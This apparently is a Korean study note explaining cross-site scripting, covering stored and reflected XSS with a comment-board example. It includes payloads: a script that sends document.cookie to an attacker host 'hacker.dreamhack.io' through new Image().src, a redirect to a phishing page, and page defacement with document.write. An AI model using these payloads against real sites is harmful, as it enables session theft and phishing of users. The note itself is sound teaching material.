XSS (cross-site scripting)

클라이언트 사이드 취약점 => 웹 페이지의 이용자를 대상으로 공격할 수 있는 취약점

 

XSS 

• 공격자가 웹 리소스에 악성 스크립트를 삽입해 이용자의 웹 브라우저에서 해당 스크립트를 실행할 수 있음
• 특정 계정의 세션 정보를 탈취하고 해당 계정으로 임의의 기능 수행 가능

XSS 공격은 이용자가 삽입한 내용을 출력하는 기능에서 발생

-> 사용자가 입력한 글을 웹페이지가 다시 보여주는 기능에서, 입력값을 그냥 "글자"로만 취급하지 않고 "HTML /  JavaScript 코드"로 해석해버리면 xss가 발생 할 수 있다.

 

XSS 예시

게시판 댓글 기능이 있을 때)

"안녕하세요!"라고 댓글을 입력하면, 서버가 이 내용을 저장했다가 게시글 화면에서 

<div class="comment">
	안녕하세요!
</div>

이렇게 출력해주면, 브라우저에서는 그냥 댓글 글자로 보임

근데, 만약에 xss필터링이 없을 때 공격자가 댓글에

<script>alert('XSS')</script>

이렇게 댓글을 입력하면 

<div class="comment">
	<script>alert('XSS')</script>
</div>

브라우저는 스크립트 태그로 보고 실행해버림

그러면 댓글을 본 사람 화면에 alert가 떠버리는 것

=> 결국 XSS는 사용자가 입력한 값을 웹페이지에서 다시 출력할 때, 그 값을 안전하게 문자 처리 하지 않아 브라우저가 스크립트로 실행하면서 발생할 수 있는 취약점

 

쿠키 및 세션 탈취 공격 코드

<script>
alert("hello"); //스크립트 실행 확인

document.cookie; 
alert(document.cookie); //쿠키 접긎 가능 여부 확인
document.cookie = "name=test;";
//테스트용 쿠키 생성

new Image().src = "http://hacker.dreamhack.io/?cookie=" + document.cookie; // 읽은 쿠키 외부로,,유출
</script>

이렇게 new Image().src를 이용해서 쿠키를 유출할 수 있음

공격 흐름을 살펴보면

1. 피해자가 XSS가 삽입된 페이지를 봄
2. 피해자 브라우저에서 JavaScript 실행
3. document.cookie로 현재 사이트의 쿠키 문자열을 읽음
4. new Image().src에 공격자 서버 주소를 넣음
5. 브라우저가 “이미지 가져와야지” 하고 공격자 서버로 GET 요청을 보냄
6. 그 URL 뒤에 ?cookie=피해자쿠키값 이 붙어 있음
7. 공격자 서버 로그에 그 요청이 남음
8. 공격자가 쿠키 값을 확인할 수 있음

 

페이지 변조 공격 코드

<script>
document; //브라우저의 현재 HTML 문서 객체에 접근
document.write("Hacked By Dreamhack !"); //페이지에 문자열 삽입 -> 화면 변조
</script>

document.write()는 실행되는 시점에 따라 동작이 조금 다름

- 페이지가 아직 로딩 중일 때 실행 => 그 위치에 내용이 추가

- 페이지 로딩이 끝난 뒤 실행 => 기존 문서 덮어쓰기

 

위치 이동 공격 코드

<script>
location.href = "http://hacker.dreamhack.io/phishing"; 
//현재 페이지를 공격자가 원하는 주소로 이동시키기

window.open("http://hacker.dreamhack.io/")
// 공격자가 원하는 주소를 새 창/새 탭으로 여는 코드
</script>

피해자의 브라우저 동작을 조작하는 공격임

- 페이지 이동시키기

- 새 창 열기

- 가짜 로그인 페이지로 유도하기

- 사용자가 보는 화면 바꾸기 

와 같은 공격이 가능함

 

XSS는 발생 형태에 따라서 다양한 종류로 구분

- Stored XSS

- Reflected XSS

- DOM-based XSS

- Universal XSS

 

Stored XSS

공격자가 입력한 악성 스크립트가 서버에 저장되고, 이후 그 내용을 보는 다른 이용자의 브라우저에서 실행되는 공격

-> 보통 입력값을 저장한 뒤 다시 보여주는 기능에서 발생함

[정상 루트]

-> 보통 정상 이용자가 서버에 "좋은 글이네요!" 이렇게 댓글을 달면

-> 서버가 이 댓글을 DB에 저장하고, 다른 사용자가 게시글을 열면 화면에 보여줌

 

[공격 루트]

-> 공격자가 댓글에 <script>alert('XSS')</script> 이렇게 입력하 면 

-> DB에 위 스크립트가 저장되고

-> 다른 사용자가 게시글을 열어볼 때 렌더링을 하는 과정에서

<div class="comment">
  <script>alert('XSS')</script>
</div>

 

이렇게 되고, 브라우저는 이걸 댓글이 아니라 실행해야할 자바스크립트 코드로 해석해서 게시글을 본 사람의 브라우저에서 스크립트가 실행됨

 

정리하면, 

공격자 -> 악성 스크립트를 댓글에 입력 -> 서버 DB에 저장 -> 피해자가 게시글 열람 -> 저장된 스크립트가 응답 HTML에 포함됨 -> 피해자 브라우저에서 실행

이런 순서로 공격이 진행되는 것,,

 

왜 위험한가?

- 따로 링크를 누를 필요가 없음

- 한 번 저장되면 여러 명이 계속 당할 수 있음

- 관리자도 피해자 가능

- 공격자가 실제로 노리는 건 예시로 든 alert가 아니라

   - 사용자의 세션 탈취 시도

   - 사용자를 대신해 요청 전송

   - 페이지 내용 변조

   - 가짜 로그인창 삽입

   - 관리자 기능 악용

같은 일이 가능함

다만, 쿠키가 HttpOnly이라면 자바스크립트로 직접 읽지 못하는 등, 실제 피해 범위는 웹사이트의 보안 설정에 따라 달라짐

 

 

Reflected XSS

서버가 말그대로 "Reflected" 악성 입력을 HTML에 그대로 반사해버리면서 발생하는 취약점

-> 공격자는 악성 링크를 만들고, 이 링크를 실제로 피해자 브라우저에서 서버에 요청하고 응답 받으면서 피해자 브라우저에서 발생하는 취약점임 

예를 들면,

http://maru.com/search?q=<script>alert(1)</script>

공격자가 이런 링크를 만들고, 피해자가 이 링크를 클릭하면

이때, 피해자 브라우저가 maru.com 서버로 요청을 보내고,

maru.com 서버가 취약해서 파라미터 값 q 를 그대로 HTML에 넣어 응답하면

<h1><script>alert(1)</script> 검색 결과</h1>

이런식으로 피해자 브라우저가 응답을 받아서 렌더링해서 -> <script>를 실행함

정리하면,

공격자: 악성 파라미터가 들어간 링크 생성 -> 피해자: 링크 클릭 -> 피해자 브라우저: 취약한 서버에 요청 -> 취약한 서버: 악성 파라미터를 응답 HTML에 그대로 반사(reflected) -> 피해자 브라우저: 응답 HTML 속 스크립트 실행

=> 서버가 공격 파라미터를 안전한 문자열로 바꾸지 않고 HTML 응답에 반사(reflected)해서, 피해자 브라우저가 그것을 정상 스크립트처럼 실행해버리는 취약점

근데, reflected xss 같은 경우에는 결국 어떤 조작된 요청이 발생해야하고, 이런 요청이 가능하게 하려면 피해자가 링크를 클릭하거나 하는 행동을 하도록 유도해야해서, 공격자는 보통 링크 클릭을 유도하는 사회공학, 피싱, 단축 URL 같은 방식과 같이 공격을 함

 

 

DOM-based xss 는 다음 글에서 정리해야징ㅇ